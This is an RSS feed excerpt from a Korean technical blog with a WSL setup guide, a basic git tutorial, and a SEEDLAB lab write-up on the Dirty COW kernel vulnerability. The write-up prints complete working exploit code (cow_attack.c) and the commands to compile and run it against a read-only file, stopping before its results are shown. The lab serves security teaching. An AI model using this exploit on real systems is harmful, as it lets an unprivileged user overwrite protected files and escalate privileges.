&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 WSL 기능은 Windows 10 환경에서 disabled 되어 있다. 따라서 사용자가 직접 enabled 해주어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 1]을 참고하여 &quot;Windows 기능 켜기/끄기&quot;를 선택한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;2367&quot; data-origin-height=&quot;2041&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bU5uN9/btre348gNqt/HIFwVXMOSpgPev4oxy1mKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bU5uN9/btre348gNqt/HIFwVXMOSpgPev4oxy1mKK/img.png&quot; data-alt=&quot;[그림 1] Windows 기능 켜기/끄기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bU5uN9/btre348gNqt/HIFwVXMOSpgPev4oxy1mKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbU5uN9%2Fbtre348gNqt%2FHIFwVXMOSpgPev4oxy1mKK%2Fimg.png&quot; data-origin-width=&quot;2367&quot; data-origin-height=&quot;2041&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] Windows 기능 켜기/끄기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 &quot;Linux용 Windows 하위 시스템&quot; 체크박스를 클릭하여 활성화 한다. [그림 2] 참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;1185&quot; width=&quot;665&quot; height=&quot;666&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZloV8/btre4HdYJRZ/pD9DF2bNNszYRKDJRboqGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZloV8/btre4HdYJRZ/pD9DF2bNNszYRKDJRboqGk/img.png&quot; data-alt=&quot;[그림 2] Linux용 Windows 하위 시스템 체크&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZloV8/btre4HdYJRZ/pD9DF2bNNszYRKDJRboqGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZloV8%2Fbtre4HdYJRZ%2FpD9DF2bNNszYRKDJRboqGk%2Fimg.png&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;1185&quot; width=&quot;665&quot; height=&quot;666&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] Linux용 Windows 하위 시스템 체크&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 WSL 기능을 enabled 시킨 뒤 확인 버튼을 누르면 Windows가 해당 요청사항을 시스템에 반영하고 사용자에게 재부팅을 요구한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원활한 설치를 위해 PC를 재부팅하는 것을 권장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Ubuntu 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글을 쓰는 시점에는 Ubuntu 18.04 LTS, Ubuntu 20.04 LTS 이렇게 두 가지 버전을 제공하는 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows 검색창에 &quot;Microsoft Store&quot;를 검색한다. [그림 3] 참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;2351&quot; data-origin-height=&quot;2039&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l2Tz6/btreY3vC9AZ/sCRLGH4SWa0jshfESNk2r0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l2Tz6/btreY3vC9AZ/sCRLGH4SWa0jshfESNk2r0/img.png&quot; data-alt=&quot;[그림 3] Microsoft Store 검색&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l2Tz6/btreY3vC9AZ/sCRLGH4SWa0jshfESNk2r0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl2Tz6%2FbtreY3vC9AZ%2FsCRLGH4SWa0jshfESNk2r0%2Fimg.png&quot; data-origin-width=&quot;2351&quot; data-origin-height=&quot;2039&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 3] Microsoft Store 검색&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Microsoft Store 앱을 실행한 뒤 우측 상단에 &quot;wsl&quot; 문자열을 검색하면 [그림 4]와 같이 설치할 수 있는 여러 linux 계열 OS들을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;2400&quot; data-origin-height=&quot;1900&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ci9aQa/btre42bdt9A/p3uubbmNuKeUZpDKxn9cVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ci9aQa/btre42bdt9A/p3uubbmNuKeUZpDKxn9cVk/img.png&quot; data-alt=&quot;[그림 4] &amp;amp;quot;wsl&amp;amp;quot;의 문자열 검색 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ci9aQa/btre42bdt9A/p3uubbmNuKeUZpDKxn9cVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fci9aQa%2Fbtre42bdt9A%2Fp3uubbmNuKeUZpDKxn9cVk%2Fimg.png&quot; data-origin-width=&quot;2400&quot; data-origin-height=&quot;1900&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 4] &quot;wsl&quot;의 문자열 검색 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Ubuntu 20.04 LTS&quot; or &quot;Ubuntu 18.04 LTS&quot; 를 선택한 뒤 &quot;받기&quot; 버튼을 눌러 해당 OS를 Windows 10에 설치할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 Windows 검색창에 설치한 OS의 이름을 검색하여 Ubuntu CLI를 실행할 수 있다. [그림 5] 참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;787&quot; data-origin-height=&quot;641&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0YGCP/btreYpy1AeW/kANU9ZeY2HUOdbK37o1sK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0YGCP/btreYpy1AeW/kANU9ZeY2HUOdbK37o1sK0/img.png&quot; data-alt=&quot;[그림 5] 성공적인 Ubuntu 18.04 LTS WSL 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0YGCP/btreYpy1AeW/kANU9ZeY2HUOdbK37o1sK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0YGCP%2FbtreYpy1AeW%2FkANU9ZeY2HUOdbK37o1sK0%2Fimg.png&quot; data-origin-width=&quot;787&quot; data-origin-height=&quot;641&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 5] 성공적인 Ubuntu 18.04 LTS WSL 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 사용자가 hostname과 pw를 설정하면 성공적인 WSL 설치가 완료된 것이다.&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/266</guid>
      <comments>https://marcokhan.tistory.com/266#entry266comment</comments>
      <pubDate>Tue, 14 Sep 2021 14:41:03 +0900</pubDate>
    </item>
    <item>
      <title>Github clone, add, commit, push</title>
      <link>https://marcokhan.tistory.com/264</link>
      <description>&lt;p&gt;&amp;nbsp;간단하게 Github를 이용하여 코드 관리하는 방법에 대해 기술한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;필자는 우분투 20.04에서 실험을 진행했다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;git clone&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;github의 repository를 현재 디렉터리에 복사하는 방법이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1617092724301&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git clone https://github.com/git/git.git&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아래 그림처럼 github repository에 대한 URL은 다음과 같은 방법으로 알아낼 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7suwk/btq1oxjntDM/ZTUTNC2k4xvHbBT7sl9an1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7suwk/btq1oxjntDM/ZTUTNC2k4xvHbBT7sl9an1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7suwk/btq1oxjntDM/ZTUTNC2k4xvHbBT7sl9an1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7suwk%2Fbtq1oxjntDM%2FZTUTNC2k4xvHbBT7sl9an1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;git add&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;repository에 변경된 내용을 Staging Area에 저장한다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;여기서 Staging Area는 commit 전에 변경된 내용이 대기하는 장소이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1617093423573&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git add .&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;현재 디렉터리의 모든 변경 기록들을 Staging Area로 전달한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1617093470002&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git add -A&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;모든 변경된 내용을 Staging Area로 전달한다. 현재 디렉토리 이외의 모든 변경 내용을 전달한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;git commit&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Staging Area에 있는 내용들을 local repository에 전달한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지금까지 변경된 사항을 repository에 확실하게 반영한다는 의미로 이해하면 될 것 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1617093680834&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git commit -m &quot;comment&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;-m 옵션을 통해 commit에 대한 comment를 남길 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;git push&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;local repository의 파일을 remote repository에 저장한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;local repository에 작업한 내용들을 외부로 공개하는 개념이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1617093836199&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git push&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Github 관리</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/264</guid>
      <comments>https://marcokhan.tistory.com/264#entry264comment</comments>
      <pubDate>Tue, 30 Mar 2021 17:44:45 +0900</pubDate>
    </item>
    <item>
      <title>SEEDLAB Chap 8: Dirty Cow Attack Lab</title>
      <link>https://marcokhan.tistory.com/263</link>
      <description>&lt;p&gt;&quot;Computer &amp;amp; Internet security : A Hand-on Approach&quot; 서적의 내용 중 System security에 관련된 내용을 기술한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;본 블로그에서는 7장 &quot;Dirty Cow Attack&quot;에 대한 실습 내용을 풀이한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 1: Modify a Dummy Read-onlyt File&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;The objective of this task is to write to a read-only file using the Dirty COW vulnerability.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2.1 Create a Dummy File&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;We first need to select a target file. Although this file can be any read-only file in the system, we will use a dummy file in this task, so we do not corrupt an important system file in case we make a mistake. Please create a file called zzz in the root directory, &lt;u&gt;change its permission to read-only for normal users, and put some random content into the file using an editor&lt;/u&gt; such as gedit.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1616330284562&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo touch /zzz
$ sudo chmod 644 /zzz
$ sudo gedit /zzz
$ cat /zzz
111111222222333333
$ ls -l /zzz
-rw-r--r-- 1 root root 19 Oct 18 22:03 /zzz
$ echo 99999 &amp;gt; /zzz
bash: /zzz: Permission denied&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;From&amp;nbsp;the&amp;nbsp;above&amp;nbsp;experiment,&amp;nbsp;we&amp;nbsp;can&amp;nbsp;see&amp;nbsp;that&amp;nbsp;if&amp;nbsp;we&amp;nbsp;try&amp;nbsp;to&amp;nbsp;write&amp;nbsp;to&amp;nbsp;this&amp;nbsp;file&amp;nbsp;as&amp;nbsp;a&amp;nbsp;normal&amp;nbsp;user,&amp;nbsp;we&amp;nbsp;will&amp;nbsp;fail,&amp;nbsp;because&amp;nbsp;&lt;u&gt;the&amp;nbsp;file&amp;nbsp;is&amp;nbsp;only&amp;nbsp;readable&amp;nbsp;to&amp;nbsp;normal&amp;nbsp;users&lt;/u&gt;.&amp;nbsp;However,&amp;nbsp;because&amp;nbsp;of&amp;nbsp;the&amp;nbsp;Dirty&amp;nbsp;COW&amp;nbsp;vulnerability&amp;nbsp;in&amp;nbsp;the&amp;nbsp;system,&amp;nbsp;we&amp;nbsp;can&amp;nbsp;find&amp;nbsp;a&amp;nbsp;way&amp;nbsp;to&amp;nbsp;write&amp;nbsp;to&amp;nbsp;this&amp;nbsp;file.&amp;nbsp;Our&amp;nbsp;objective&amp;nbsp;is&amp;nbsp;to&amp;nbsp;replace&amp;nbsp;the&amp;nbsp;pattern&amp;nbsp;&quot;222222&quot;&amp;nbsp;with&amp;nbsp;&quot;******&quot;.&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2.2 Set Up the Memory Mapping Thread&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;You can download the program cow attack.c from the website of the lab. The program has three threads: the main thread, the write thread, and the madvise thread. The main thread maps /zzz to memory, finds where the pattern &quot;222222&quot; is, and then creates two threads to exploit the Dirty COW race condition vulnerability in the OS kernel.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1616330903939&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open(&quot;/zzz&quot;, O_RDONLY);

  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &amp;amp;st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, &quot;222222&quot;);               				// Line A         

  // We have to do the attack using two threads.
  pthread_create(&amp;amp;pth1, NULL, madviseThread, (void  *)file_size); 		// Line B
  pthread_create(&amp;amp;pth2, NULL, writeThread, position);             		// Line C

  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

void *writeThread(void *arg)
{
  char *content= &quot;******&quot;;
  off_t offset = (off_t) arg;

  int f=open(&quot;/proc/self/mem&quot;, O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;In the above code, we need to find where the pattern &quot;222222&quot; is. We use a string function called strstr() to find where &quot;222222&quot; is in the mapped memory (Line A). We then start two threads: madviseThread (Line B) and writeThread (Line C).&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2.3 Set Up the write Thread&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;The job of the write thread listed in the following is to&lt;u&gt; replace the string &quot;222222&quot; in the memory with &quot;******&quot;.&lt;/u&gt; Since the mapped memory is of COW type, this thread alone will only be able to modify the contents in a copy of the mapped memory, which will not cause any change to the underlying /zzz file.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2.4 Set Up the madvise Thread&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;The&amp;nbsp;madvise&amp;nbsp;thread&amp;nbsp;does&amp;nbsp;only&amp;nbsp;one&amp;nbsp;thing:&amp;nbsp;&lt;u&gt;discarding&amp;nbsp;the&amp;nbsp;private&amp;nbsp;copy&amp;nbsp;of&amp;nbsp;the&amp;nbsp;mapped&amp;nbsp;memory,&lt;/u&gt;&amp;nbsp;so&amp;nbsp;the&amp;nbsp;page&amp;nbsp;table&amp;nbsp;can&amp;nbsp;point&amp;nbsp;back&amp;nbsp;to&amp;nbsp;the&amp;nbsp;original&amp;nbsp;mapped&amp;nbsp;memory.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2.5 Launch the Attack&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;If&amp;nbsp;the&amp;nbsp;write()&amp;nbsp;and&amp;nbsp;the&amp;nbsp;madvise()&amp;nbsp;system&amp;nbsp;calls&amp;nbsp;are&amp;nbsp;invoked&amp;nbsp;alternatively,&amp;nbsp;i.e.,&amp;nbsp;one&amp;nbsp;is&amp;nbsp;invoked&amp;nbsp;only&amp;nbsp;after&amp;nbsp;the&amp;nbsp;other&amp;nbsp;is&amp;nbsp;finished,&amp;nbsp;the&amp;nbsp;write&amp;nbsp;operation&amp;nbsp;will&amp;nbsp;always&amp;nbsp;be&amp;nbsp;performed&amp;nbsp;on&amp;nbsp;the&amp;nbsp;private&amp;nbsp;copy,&amp;nbsp;and&amp;nbsp;we&amp;nbsp;will&amp;nbsp;never&amp;nbsp;be&amp;nbsp;able&amp;nbsp;to&amp;nbsp;modify&amp;nbsp;the&amp;nbsp;target&amp;nbsp;file.&amp;nbsp;&lt;u&gt;The&amp;nbsp;only&amp;nbsp;way&amp;nbsp;for&amp;nbsp;the&amp;nbsp;attack&amp;nbsp;to&amp;nbsp;succeed&amp;nbsp;is&amp;nbsp;to&amp;nbsp;perform&amp;nbsp;the&amp;nbsp;madvise()&amp;nbsp;system&amp;nbsp;call&amp;nbsp;while&amp;nbsp;the&amp;nbsp;write()&amp;nbsp;system&amp;nbsp;call&amp;nbsp;is&amp;nbsp;still&amp;nbsp;running.&amp;nbsp;&lt;/u&gt;We&amp;nbsp;cannot&amp;nbsp;always&amp;nbsp;achieve&amp;nbsp;that,&amp;nbsp;so&amp;nbsp;we&amp;nbsp;need&amp;nbsp;to&amp;nbsp;try&amp;nbsp;many&amp;nbsp;times.&amp;nbsp;As&amp;nbsp;long&amp;nbsp;as&amp;nbsp;the&amp;nbsp;probability&amp;nbsp;is&amp;nbsp;not&amp;nbsp;extremely&amp;nbsp;low,&amp;nbsp;we&amp;nbsp;have&amp;nbsp;a&amp;nbsp;chance.&amp;nbsp;That&amp;nbsp;is&amp;nbsp;why&amp;nbsp;in&amp;nbsp;the&amp;nbsp;threads,&amp;nbsp;we&amp;nbsp;run&amp;nbsp;the&amp;nbsp;two&amp;nbsp;system&amp;nbsp;calls&amp;nbsp;in&amp;nbsp;an&amp;nbsp;infinite&amp;nbsp;loop.&amp;nbsp;Compile&amp;nbsp;the&amp;nbsp;cow&amp;nbsp;attack.c&amp;nbsp;and&amp;nbsp;run&amp;nbsp;it&amp;nbsp;for&amp;nbsp;a&amp;nbsp;few&amp;nbsp;seconds.&amp;nbsp;If&amp;nbsp;your&amp;nbsp;attack&amp;nbsp;is&amp;nbsp;successful,&amp;nbsp;you&amp;nbsp;should&amp;nbsp;be&amp;nbsp;able&amp;nbsp;to&amp;nbsp;see&amp;nbsp;a&amp;nbsp;modified&amp;nbsp;/zzz&amp;nbsp;file.&amp;nbsp;Report&amp;nbsp;your&amp;nbsp;results&amp;nbsp;in&amp;nbsp;the&amp;nbsp;lab&amp;nbsp;report&amp;nbsp;and&amp;nbsp;explain&amp;nbsp;how&amp;nbsp;you&amp;nbsp;are&amp;nbsp;able&amp;nbsp;to&amp;nbsp;achieve&amp;nbsp;that.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1616331456019&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;seed@ubuntu:~/Computer_Security/chap8$ gedit cow_attack.c
seed@ubuntu:~/Computer_Security/chap8$ gcc cow_attack.c -lpthread
seed@ubuntu:~/Computer_Security/chap8$ a.out 
^C // wait a sec
seed@ubuntu:~/Computer_Security/chap8$ cat /zzz
